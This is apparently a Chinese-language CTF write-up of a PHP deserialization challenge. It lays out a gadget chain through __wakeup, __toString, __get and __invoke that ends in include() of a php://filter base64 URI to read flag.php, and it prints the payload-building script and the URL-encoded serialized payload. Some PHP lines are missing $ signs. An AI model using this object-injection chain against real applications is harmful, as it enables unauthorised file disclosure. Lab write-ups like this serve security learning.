打卡题目
代码审计
果我们把modifiy对象的var改为php伪协议，然后成功调用invoke魔术方法就可以读出flag
调用invoke魔术方法需要将对象当做一个函数来使用，这样invoke方法就会自动调用
<?php
class Modifier {
protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
public function append($value){
include($value);
}
public function __invoke(){
echo "__invoke";
this-\>append(this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
this-\>source = file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
echo "__get";
function = this->p;
return $function();
}
}
$a = new Show();
$a->source=new Show('aaaa');
$a->source->str=new Test();
echo "this is:";
echo urlencode(serialize($a)); //这里urlencode是为了防止 protected 对象对结果造成影响。
运行结果
运行得到
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3Bs%3A4%3A%22aaaa%22%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
一看base64编码
解码
得到flag